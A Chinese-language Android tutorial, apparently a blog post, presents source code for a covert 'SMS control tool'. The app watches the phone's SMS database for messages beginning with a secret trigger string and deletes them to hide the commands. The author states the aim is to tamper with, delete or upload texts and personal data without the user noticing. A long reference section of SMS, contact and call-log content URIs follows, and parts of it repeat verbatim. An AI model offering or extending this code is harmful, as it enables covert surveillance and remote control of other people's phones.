序言:本程序示例本着简洁易懂的目的,只做了简单的功能实现,需要用户启动应用,收到短信才有效果。作者将会在后面的(二)篇中加入服务后台运行、自动启动功能,实现一个真正的短信控制工具。本文的目的很简单,让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库,而不是广播,所以权限相对较高,能在用户未察觉的前提下,篡改、删除,上传手机短信或个人信息。请勿非法使用,仅供个人参考学习。本程序需要用到4-5个类,
本文来自:http://blog.csdn.net/tabactivity
1、 com.xieyuan.smslistener 包下 MessageItem.java ,主要功能就是构建数据模型,方便修改和使用。
package com.xieyuan.smslistener;
import java.io.Serializable;
/*
* 实现Serializable接口,方便数据的传输
* 在后面需要调用Message.obj=MessageItem的对象,来传输
* 那么就必须实现此接口
*/
public class MessageItem implements Serializable{
//短信ID
private int id;
//短信类型 1是接收到的,2是发出的
private int type;
//短信协议 ,短信\彩信
private int protocol;
//发送时间
private long date;
//手机号
private String phone;
//内容
public String body;
public MessageItem()
{
}
public MessageItem(int id,int type,int protocol,long date,String phone,String body)
{
this.id=id;
this.type=type;
this.protocol=protocol;
this.date=date;
this.phone=phone;
this.body=body;
}
/**
* @return the id
*/
public int getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(int id) {
this.id = id;
}
/**
* @return the type
*/
public int getType() {
return type;
}
/**
* @param type the type to set
*/
public void setType(int type) {
this.type = type;
}
/**
* @return the protocol
*/
public int getProtocol() {
return protocol;
}
/**
* @param protocol the protocol to set
*/
public void setProtocol(int protocol) {
this.protocol = protocol;
}
/**
* @return the date
*/
public long getDate() {
return date;
}
/**
* @param date the date to set
*/
public void setDate(long date) {
this.date = date;
}
/**
* @return the phone
*/
public String getPhone() {
return phone;
}
/**
* @param phone the phone to set
*/
public void setPhone(String phone) {
this.phone = phone;
}
/**
* @return the body
*/
public String getBody() {
return body;
}
/**
* @param body the body to set
*/
public void setBody(String body) {
this.body = body;
}
public String toString()
{
return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body;
}
}
2、com.xieyuan.smslistener 包下 SMSConstant.java ,主要定义了一些关于短信数据库字段和程序常量。
package com.xieyuan.smslistener;
import android.net.Uri;
import android.provider.BaseColumns;
public interface SMSConstant extends BaseColumns{
//内容地址
public static final Uri CONTENT_URI=Uri.parse("content://sms");
//短信开头过滤字符,根据该字符判断是不是控制短信
public static final String FILTER="woaixieyuan";
////////////SMS数据库列名字段,其实还有很多,目前没用就不列举了
public static final String ID="_id";
public static final String THREAD_ID="thread_id";
public static final String ADDRESS="address";
public static final String M_SIZE="m_size";
public static final String PERSON="person";
public static final String DATE="date";
public static final String DATE_SENT="date_sent";
public static final String PROTOCOL="protocol";
public static final String READ="read";
public static final String STATUS="status";
public static final String REPLY_PATH_PRESENT="replay_path_present";
public static final String SUBJECT="subject";
public static final String BODY="body";
public static final String SERVICE_CENTER="service_center";
public static final String LOCKED="locked";
public static final String SIM_ID="sim_id";
public static final String ERROR_CODE="error_code";
public static final String SEEN="seen";
public static final String TYPE = "type";
////////////短信的状态
public static final int MESSAGE_TYPE_ALL = 0; //所有
public static final int MESSAGE_TYPE_INBOX = 1; //收件箱
public static final int MESSAGE_TYPE_SENT = 2; //已发送
public static final int MESSAGE_TYPE_DRAFT = 3; //草稿
public static final int MESSAGE_TYPE_OUTBOX = 4; //待发送
public static final int MESSAGE_TYPE_FAILED = 5; //发送失败 for failed outgoing messages
public static final int MESSAGE_TYPE_QUEUED = 6; //定时发送 for messages to send later
public static final int PROTOCOL_SMS = 0;//SMS_PROTO
public static final int PROTOCOL_MMS = 1;//MMS_PROTO
}
3、com.xieyuan.smslistener 包下 SMSObserver.java ,短信观察者,该类 注册观察者类时得到回调数据确定一个给定的内容URI变化。
package com.xieyuan.smslistener;
import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.os.Handler;
import android.os.Message;
/*
*
ContentObserver——内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于
数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器,
相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。
*/
public class SMSObserver extends ContentObserver{
private Handler mHandler;
//内容解析器,和ContentProvider刚好相反,一个提供,一个解析
private ContentResolver mResolver;
//需要取得的短信条数
private static final int MAX_NUMS=10;
//用于保存记录中最大的ID
private static final int MAX_ID=0;
//需要获得的字段列
private static final String[] PROJECTION={
SMSConstant.ID,
SMSConstant.TYPE,
SMSConstant.ADDRESS,
SMSConstant.BODY,
SMSConstant.DATE,
SMSConstant.THREAD_ID,
SMSConstant.READ,
SMSConstant.PROTOCOL
};
/*
* 查询语句
* 用于查询ID大于 MAX_ID的记录,初始为0,后面用于保存记录的最大ID。短信的起始ID为1
*/
private static final String SELECTION=SMSConstant.ID + " > %s"+
" and ("+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_INBOX+
" or "+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_SENT+")";
//取值对应的结果就是PROJECTION 里对应的字段
private static final int COLUMN_INDEX_ID = 0;
private static final int COLUMN_INDEX_TYPE = 1;
private static final int COLUMN_INDEX_PHONE = 2;
private static final int COLUMN_INDEX_BODY = 3;
private static final int COLUMN_INDEX_DATE = 4;
private static final int COLUMN_INDEX_PROTOCOL = 7;
public SMSObserver(ContentResolver resolver,Handler handler) {
super(handler);
this.mResolver=resolver;
this.mHandler=handler;
}
@Override
public void onChange(boolean selfChange)
{
super.onChange(selfChange);
Cursor cursor=mResolver.query(SMSConstant.CONTENT_URI, //查询的URI
PROJECTION, //需要取得的列
String.format(SELECTION,MAX_ID), //查询语句
null, //可能包括您的选择,将被替换selectionArgs的值,在选择它们出现的顺序。该值将被绑定为字符串。
null); //排序
if(cursor!=null)
{
while(cursor.moveToNext())
{
/*Log.v("短信",new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(cursor.getLong(4))+ ",ID:"+cursor.getInt(COLUMN_INDEX_ID)+",TYPE:"+cursor.getInt(COLUMN_INDEX_TYPE)+",PROTOCOL:"+
cursor.getInt(COLUMN_INDEX_PROTOCOL)+",PHONE:"+cursor.getString(COLUMN_INDEX_PHONE)+","+
cursor.getString(COLUMN_INDEX_BODY));*/
int id=cursor.getInt(COLUMN_INDEX_ID);
int type=cursor.getInt(COLUMN_INDEX_TYPE);
int protocol=cursor.getInt(COLUMN_INDEX_PROTOCOL);
long date=cursor.getLong(COLUMN_INDEX_DATE);
String phone=cursor.getString(COLUMN_INDEX_PHONE);
String body=cursor.getString(COLUMN_INDEX_BODY);
//过滤指定的内容,执行控制操作
if(protocol==SMSConstant.PROTOCOL_SMS&&body!=null&&body.startsWith(SMSConstant.FILTER))
{
MessageItem item=new MessageItem(id, type, protocol, date, phone, body);
//通知Handler
Message msg=new Message();
msg.obj=item;
mHandler.sendMessage(msg);
break;
}
}
/*
* 关闭游标,释放资源。否则下次查询游标仍然在原位置
*/
cursor.close();
}
}
}
4、com.xieyuan.smslistener 包下 SMSHandler.java ,短信观察者的数据发送变化,并和指定的Filter(SMSConstant定义的指令,区分是不是开发者的控制短信)字符串匹配后,会向SMSHhander发送消息,此时,SMSHandler就可以根据短信的内容执行一些操作,来控制手机。
package com.xieyuan.smslistener;
import android.content.ContentProvider;
import android.content.ContentProviderClient;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;
import android.util.Log;
/*
* 用于接收SMSObserver发送过来的短信内容(MessageItem)
*/
public class SMSHandler extends Handler{
private static final String TAG="SMSHandler";
private Context mContext;
public SMSHandler(Context context)
{
super();
this.mContext=context;
}
@Override
public void handleMessage(Message msg)
{
MessageItem item=(MessageItem)msg.obj;
new Intent(Intent.ACTION_REBOOT);
//添加给定的ID结尾的路径。
Uri uri=ContentUris.withAppendedId(SMSConstant.CONTENT_URI, item.getId());
/*
可以根据短信内容进行判断,执行您想要的操作,如发送 Filter字符+dialog你就弹出个对话框,
操作省略,自行完善所需控制操作
。。。。。。。。。。。。。。
*/
//删除指定的短信,操作不留痕迹。。。^_^
mContext.getContentResolver().delete(uri,null,null);
Log.v(TAG, item.toString());
}
}
5、注册内容观察者
在Activity或者Service的初始函数中执行注册操作,本示例在Activity onCreate()中注册
ContentResolver resolver=getContentResolver();
MSObserver observer=new SMSObserver(resolver, new SMSHandler(this));
//注册观察者类时得到回调数据确定一个给定的内容URI变化。
resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, observer);
在onDestroy'()中卸载观察者
//卸载观察者
getContentResolver().unregisterContentObserver(observer);
在AndroidManifest.xml中添加短信权限
<!-- 读取短信 -->
<uses-permission android:name="android.permission.READ_SMS" />
<!-- 发送短信 -->
<uses-permission android:name="android.permission.WRITE_SMS" />
至此,整个简单的短信监听工具基本模型已经完善。
------------------------------------------------------------------------------------
下面是辅助开发的一些参考资料:
1、Android 短信数据库 开发资料(深度开发必看)
http://download.csdn.net/detail/ab6326795/6199851
2、Android数据库字段资料
1.短信数据库
String strUriInbox = "content://sms";
Uri uriSms = Uri.parse(strUriInbox);
Cursor c_groups = managedQuery( uriSms , new String[] { "date","person" }, select, null, "date DESC");
strColumnName=_id strColumnValue=48 //短消息序号
strColumnName=thread_id strColumnValue=16 //对话的序号(conversation)
strColumnName=address strColumnValue=+8613411884805 //发件人地址,手机号
strColumnName=person strColumnValue=null //发件人,返回一个数字就是联系人列表里的序号,陌生人为null
strColumnName=date strColumnValue=1256539465022 //日期 long型,想得到具体日期自己转换吧!
strColumnName=protocol strColumnValue=0 //协议
strColumnName=read strColumnValue=1 //是否阅读
strColumnName=status strColumnValue=-1 //状态
strColumnName=type strColumnValue=1 //类型 1是接收到的,2是发出的
strColumnName=reply_path_present strColumnValue=0 //
strColumnName=subject strColumnValue=null //主题
strColumnName=body strColumnValue=您好 //短消息内容
strColumnName=service_center strColumnValue=+8613800755500 //短信服务中心号码编号,可以得知该短信是从哪里发过来的见下表
2.联系人数据库
strColumnName = _sync_id strColumnValue=null
strColumnName = primary_organization strColumnValue=null
strColumnName = notes strColumnValue=null
strColumnName = primary_phone strColumnValue=1
strColumnName = status strColumnValue=null
strColumnName = im_handle strColumnValue=null
strColumnName = _sync_local_id strColumnValue=null
strColumnName = im_account strColumnValue=null
strColumnName = _sync_time strColumnValue=null
strColumnName = im_protocol strColumnValue=null
strColumnName = mode strColumnValue=null
strColumnName = label strColumnValue=null
strColumnName = times_contacted strColumnValue=0
strColumnName = name strColumnValue=é??è?3
strColumnName = send_to_voicemail strColumnValue=null
strColumnName = primary_email strColumnValue=null
strColumnName = custom_ringtone strColumnValue=null
strColumnName = sort_string strColumnValue=í?¤í2?í??ío3à?
strColumnName = _sync_version strColumnValue=null
strColumnName = last_time_contacted strColumnValue=null
strColumnName = _sync_account strColumnValue=null
strColumnName = display_name strColumnValue=é??è?3
strColumnName = number_key strColumnValue=77681111831
strColumnName = number strColumnValue=13811118677
strColumnName = phonetic_name strColumnValue=null
strColumnName = _id strColumnValue=1
strColumnName = type strColumnValue=2
strColumnName = _sync_dirty strColumnValue=1
strColumnName = starred strColumnValue=0
4.其他数据库
//Available Uri string
content://contacts/people //本地联系人列表信息
content://contacts/phones //本地联系人列表信息
content://call_log/calls/ //本地通话记录
content://mms 彩信
content://mms-sms/threadID
content://mms-sms/conversations
content://mms-sms/messages/byphone
content://mms-sms/undelivered
content://mms-sms/draft
String strUriInbox = "content://sms/inbox"; //SMS_INBOX:1
String strUriFailed = "content://sms/failed"; //SMS_FAILED:2
String strUriQueued = "content://sms/queued"; //SMS_QUEUED:3
String strUriSent = "content://sms/sent"; //SMS_SENT:4
String strUriDraft = "content://sms/draft"; //SMS_DRAFT:5
String strUriOutbox = "content://sms/outbox"; //SMS_OUTBOX:6
String strUriUndelivered = "content://sms/undelivered"; //SMS_UNDELIVERED
String strUriAll = "content://sms/all"; //SMS_ALL
String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id
String strUriAll = "content://sms" //you can delete one message by _id
strColumnName=_id strColumnValue=48 //短消息序号
strColumnName=thread_id strColumnValue=16 //对话的序号(conversation)
strColumnName=address strColumnValue=+8613411884805 //发件人地址,手机号
strColumnName=person strColumnValue=null //发件人,返回一个数字就是联系人列表里的序号,陌生人为null
strColumnName=date strColumnValue=1256539465022 //日期 long型,想得到具体日期自己转换吧!
strColumnName=protocol strColumnValue=0 //协议
strColumnName=read strColumnValue=1 //是否阅读
strColumnName=status strColumnValue=-1 //状态
strColumnName=type strColumnValue=1 //类型 1是接收到的,2是发出的
strColumnName=reply_path_present strColumnValue=0 //
strColumnName=subject strColumnValue=null //主题
strColumnName=body strColumnValue=您好 //短消息内容
strColumnName=service_center strColumnValue=+8613800755500 //短信服务中心号码编号,可以得知该短信是从哪里发过来的见下表
2.联系人数据库
strColumnName = _sync_id strColumnValue=null
strColumnName = primary_organization strColumnValue=null
strColumnName = notes strColumnValue=null
strColumnName = primary_phone strColumnValue=1
strColumnName = status strColumnValue=null
strColumnName = im_handle strColumnValue=null
strColumnName = _sync_local_id strColumnValue=null
strColumnName = im_account strColumnValue=null
strColumnName = _sync_time strColumnValue=null
strColumnName = im_protocol strColumnValue=null
strColumnName = mode strColumnValue=null
strColumnName = label strColumnValue=null
strColumnName = times_contacted strColumnValue=0
strColumnName = name strColumnValue=é??è?3
strColumnName = send_to_voicemail strColumnValue=null
strColumnName = primary_email strColumnValue=null
strColumnName = custom_ringtone strColumnValue=null
strColumnName = sort_string strColumnValue=í?¤í2?í??ío3à?
strColumnName = _sync_version strColumnValue=null
strColumnName = last_time_contacted strColumnValue=null
strColumnName = _sync_account strColumnValue=null
strColumnName = display_name strColumnValue=é??è?3
strColumnName = number_key strColumnValue=77681111831
strColumnName = number strColumnValue=13811118677
strColumnName = phonetic_name strColumnValue=null
strColumnName = _id strColumnValue=1
strColumnName = type strColumnValue=2
strColumnName = _sync_dirty strColumnValue=1
strColumnName = starred strColumnValue=0
4.其他数据库
//Available Uri string
content://contacts/people //本地联系人列表信息
content://contacts/phones //本地联系人列表信息
content://call_log/calls/ //本地通话记录
content://mms 彩信
content://mms-sms/threadID
content://mms-sms/conversations
content://mms-sms/messages/byphone
content://mms-sms/undelivered
content://mms-sms/draft
String strUriInbox = "content://sms/inbox"; //SMS_INBOX:1
String strUriFailed = "content://sms/failed"; //SMS_FAILED:2
String strUriQueued = "content://sms/queued"; //SMS_QUEUED:3
String strUriSent = "content://sms/sent"; //SMS_SENT:4
String strUriDraft = "content://sms/draft"; //SMS_DRAFT:5
String strUriOutbox = "content://sms/outbox"; //SMS_OUTBOX:6
String strUriUndelivered = "content://sms/undelivered"; //SMS_UNDELIVERED
String strUriAll = "content://sms/all"; //SMS_ALL
String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id
String strUriAll = "content://sms" //you can delete one message by _id